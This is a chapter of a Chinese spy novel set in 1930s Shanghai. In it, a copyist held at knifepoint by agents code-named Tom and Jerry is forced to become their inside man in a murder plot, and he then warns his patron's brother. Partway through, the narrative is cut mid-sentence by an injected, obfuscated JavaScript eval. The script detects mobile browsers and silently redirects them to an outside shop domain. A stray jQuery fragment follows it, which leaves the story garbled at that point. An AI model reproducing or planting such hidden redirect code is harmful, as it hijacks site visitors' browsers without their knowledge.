胡不才在东厢房安安稳稳抄了半个月的信，日子过得像一池静水，连个涟漪都没起。每天早起磨墨、铺纸、蘸笔、落字，午间吃小厨房送来的饭食，傍晚把抄好的信稿摞齐了交给陈管家。于情慕隔三差五过来看看他，站在书案旁边翻一翻他抄的稿子，点点头说“又好了一些”，然后就走了。于情致没再来过，但胡不才知道他还在府里。有时候傍晚能听见正厅方向传来摔杯子的声响，隔着一重院子，闷闷的，像从水底泛上来的气泡。
这天傍晚，陈管家让他送一叠信稿去账房隔壁的库房归档。胡不才抱着牛皮纸袋穿过游廊，绕过那棵老槐树，从角门进了放旧档的小院子。门虚掩着，他推门进去，屋里暗沉沉的，一股陈年纸张和灰土混在一起的味道扑面而来。他摸索着去找灯绳，还没摸着，身后传来“吱呀”一声，门被人从外面关上了。
胡不才猛地转身。
黑暗里站着一个人。不高，但结实，穿一件灰扑扑的短褂，裤腿卷到膝盖，露出两条长着黑毛的小腿。他手里攥着一把匕首，刀尖朝下，在门缝漏进来的一线天光里泛着青幽幽的亮。
“Jerry。”那人说，声音压得很低，低得像从肺叶底下挤出来的，“东西呢？”
胡不才的脑子“嗡”了一下。“……什么？”
“少装蒜。”那人往前走了两步，匕首在他指间翻转了一圈，“上回说好的，霞飞路接头，你带着东西来，结果你人呢？老周死了，东西不见了，你拍拍屁股进了于公馆当大爷了？Jerry，你他妈是真够精的。”
胡不才后背贴上了一个老樟木箱子，箱角的铁皮硌着他的腰。他攥紧了手里的牛皮纸袋，指节发白。“我不认识什么Jerry，”他的声音有点抖，但尽力压住了，“我叫胡不才，卖报的，刚来于公馆抄了一个月信，你认错人了。”
那人“嗤”了一声，匕首又转了一圈。“认错？你胸口那个口袋，掏出来。”
胡不才下意识地捂了一下左胸。那里确实有个口袋，里面装着那张墨迹洇花的信笺，还有那张写诗的小纸条。他不明白这和Jerry有什么关系。
“不掏是吧？”那人一扬手，匕首的尖抵住了胡不才的下巴。冰凉的，铁的味道窜进鼻子里。胡不才闻到那人身上一股车夫的汗臭和机油味，混在一起，冲得他头皮发麻。他的余光忽然扫到那人腰带上别着的一只铜哨——那种黄包车夫常用的、吹起来尖利得能戳破耳朵的铜哨——他脑子里“咔”地响了一下。
老周也有这样的哨子。
“你是……老周的人？”
那人的手顿了一下。“老周是传递。我是接头的。Jerry，你少跟我绕弯子，那东西不在老周手里了，就在你这儿。你交出来，我走人。你不交，你走不出这扇门。”
胡不才彻底懵了。他脑子里转得飞快，把老周死前扑过来的画面、巡捕房来抓他的理由、于情慕恰好在那个时间出现在咖啡馆门口——所有的事串在一起，像一串被扯散了的珠子，他拼命想串回去，可那些珠子根本不配套。他唯一确定的是，他真的不知道什么Jerry，什么接头，什么东西。
“大哥，”他咽了一口唾沫，下巴上的匕首尖跟着动了一下，划出一道细小的血痕，“我要说多少遍你才信？我真不是Jerry。我就是个写字的，我胸口袋里只有两张废纸，一张我抄废了的信，一张我自己写着玩的两句歪诗。你要看，我都给你——”
他哆嗦着伸手去掏，那人匕首又往前顶了一寸。“别动。”
胡不才不动了。手停在半空，指尖微微发颤。他盯着那人黑暗里的轮廓，脑子里只有一个念头：老周到底在替谁做事？老周到底替他——替那个叫Jerry的人——藏了什么？而那个真正的Jerry又在哪儿？
门忽然从外面被撞开了。
外面的光涌进来，刺得胡不才眯了一下眼。门口站着一个人，瘦高个，穿一件灰蓝色短衫，头戴一顶鸭舌帽，帽檐压得低低的，只露出半截削尖了的下巴。那人靠在门框上，看了屋里一眼，不紧不慢地开口了。
“Tom，”他说，语气里有种懒洋洋的笑意，“你找错人了。”
拿匕首的人猛地回头。“Jerry？”
门口那人把鸭舌帽往上抬了一下。露出一张年轻的脸，五官平平，一双眼睛却亮得惊人，像两颗打磨过的黑曜石。他嘴角勾着，从门框上直起身，走进来，经过拿匕首的Tom身边，拍了拍他的肩膀。
“我在这儿呢。你抓着个卖报的干什么？他连枪都没摸过。”
Tom愣了一下，匕首从胡不才下巴上撤下来，后撤了半步，上下打量了Jerry一眼。“你他妈怎么从这儿进来了？”
“后门。”Jerry耸耸肩，从口袋里摸出一张折得四四方方的纸条，在Tom面前晃了一下。“东西拿到了。别费劲了。”
Tom接过去展开看了一眼，脸上那种绷紧了的杀意像被戳破的气球一样瘪了下去。他把匕首收进腰带里，吐了一口气。“行。那这人呢？”他朝胡不才努了努嘴。
Jerry转过头来。那双黑曜石一样的眼睛落在胡不才身上，从上到下扫了一遍，然后笑了一下。那笑容里没什么恶意，但胡不才还是后颈一凉，因为那笑容和巡捕房的人看他的眼神有点像——一样的居高临下，一样的评估着一个物件值不值得留。
“他啊，”Jerry说，“正好有个用处。”
胡不才后背的汗毛全竖起来了。“你们……你们别乱来。我什么都不知道，我也不会说出去——”
“你当然不会说出去，”Jerry走过来，在胡不才面前站定。他比胡不才矮半头，但气势一点不输，那种从骨子里渗出来的从容和随性，比Tom的匕首更让胡不才发毛。“因为从今天起，你也是我们的人了。”
“什么？”
“你看，Tom刚才拿刀顶着你脖子，你没喊没叫，脑子还算清醒。你进了于公馆一个月，跟大少爷二少爷都有接触，你认识路，你知道他们的作息，你知道于情慕那个美人儿什么时候出门、什么时候回来、走哪条路、坐哪辆车。”Jerry顿了顿，“最重要的是，你是个‘生脸’。于家那两位少爷查过你的底，查得干干净净。他们信你。”
胡不才的嘴唇抖了。“你们要干什么？”
Tom在后面接了一句：“于情慕。”
Jerry点了点头。“那个人不能留。他在租界和南北之间周旋得太久了，知道得太多了。有人要他的命。”他看着胡不才，眼神里有一种几乎称得上和善的耐心，“你帮我们办成这件事，我们给你钱，给你新的身份，送你离开上海。你从此换个名字，天高海阔。”
胡不才张着嘴，喉咙里像被人塞了一把砂纸。他想说“于情慕救了我”，想说“他让我住东厢房，给我饭吃，让我写字”，想说“我胡不才再窝囊也知道不该害恩人”——可那些话卡在嗓子眼，被Tom重新拔出来的匕首尖顶回去了。
“你干也得干，不干也得干。”Tom把匕首在掌心里拍了拍，“你出了这个门去告密，我们照样有办法在三天之内让你横尸街头。你觉得你的命值钱，就乖乖听话。”
Jerry笑了一下，从口袋里摸出一根烟点上，吸了一口，吐出一团灰白的雾。烟雾在两人之间散开，模糊了那张
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17899456|212914||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
平平无奇的脸。“对了，得给你取个代号。我们这行办事都得有代号，回头好联络。”
“我不——”
“Spike。”Jerry弹了一下烟灰，“就叫Spike。好听好记，洋气。”
胡不才想骂人。他想骂你们他妈脑子有病，你们才是Spike你们全家都是Spike，我一个写字的你们给我安个狗屁代号你们是不是脑袋让门夹了——但他的嘴唇哆嗦得太厉害，一个字也没骂出来。他只是攥紧了怀里的牛皮纸袋，指关节咔咔响。
“三天后，”Jerry把烟掐灭了揣回口袋里，“晚上九点，大少爷的书房。他那个时间习惯一个人在书房看电报。你把他引到窗边，剩下的事我们来办。办完了，你走你的。”
他说完，朝Tom一扬下巴，两个人一前一后从后门出去了。门板合上之前，Jerry回头又看了胡不才一眼，目光在那个装满信稿的牛皮纸袋上停了一瞬，嘴角弯了弯。
门关上了。屋里重新暗下来，只剩门缝里漏进来的那一线天光，和灰尘在光柱里上下飞舞的影子。
胡不才靠着樟木箱子慢慢滑下去，坐在地上，后背全是汗，里衣湿透了贴在身上，冷冰冰的。他低头看了看自己的手，还在抖，抖得不像样。他深吸了三口气，把牛皮纸袋搁在地上，从怀里掏出那张叠了四折的湿信笺，展开，看了半天。
什么也看不清。墨全化了，灰色的一团，像一个乱成一团的句号。
他把信笺重新叠好，塞回去，站起来，拍了拍裤子上的灰，抱起牛皮纸袋，推开门走了出去。
暮色已经沉下来了，老槐树的影子铺了半个院子，风里带着晚饭的油烟气。胡不才沿着游廊快步往前走，穿过两道月亮门，绕过正厅前的影壁，拐进了二少爷住的那一侧跨院。院门没关，他推门进去的时候，于情致正坐在廊下的藤椅上看一本外文书，墨绿西装的扣子解开了，领带松垮垮地挂在脖子上，露出衬衫领口和一小截锁骨。夜色里他那张脸被廊下的灯照得明暗各半，像一尊刚出窑的冷瓷。
他听见脚步声，头也没抬。“谁让你进来的？”
胡不才站在台阶下面，抱着牛皮纸袋，胸口起伏着，喘了好几口气才说出话来。
“二少爷。”
于情致翻了一页书。“说。”
胡不才攥紧了纸袋的封口，咽了一口唾沫。“有人要杀大少爷。”
于情致翻书的手停了。他慢慢抬起头来，那双冰面似的眼睛从书本上方盯着胡不才，盯了三秒，然后合上了书，搁在膝头。
“谁？”
“我不知道他们叫什么。一个代号Tom，一个代号Jerry。他们让我当内应，给我起了代号叫Spike。三天后晚上九点，在大少爷的书房动手。”胡不才一口气说完，嗓子都劈了，尾音拖着长长的气声，“我他妈才不当Spike，我是胡不才。我就是个写字的。他们爱杀谁杀谁，我管不着。但于情慕救过我，我不能看着他死。”
他说完，低着头站在那里，牛皮纸袋抱在胸前，像一个走投无路的学生交作业似的。
于情致看着他，看了很久。廊下的灯把他的影子拉得很长，从台阶上一直铺到胡不才脚边。他忽然开口了，声音里没什么情绪，但比那天在书案前冷冰冰的责问要平一些。
“你刚才说，”他把书放到一旁，站起来，迈下台阶，一步就跨到了胡不才面前，居高临下地垂着眼看他，“他们叫你什么？”
“……Spike。”
于情致嘴角动了一下。很短，像刀锋上掠过一道光。
“倒是个好名字。”他说，“留着吧。”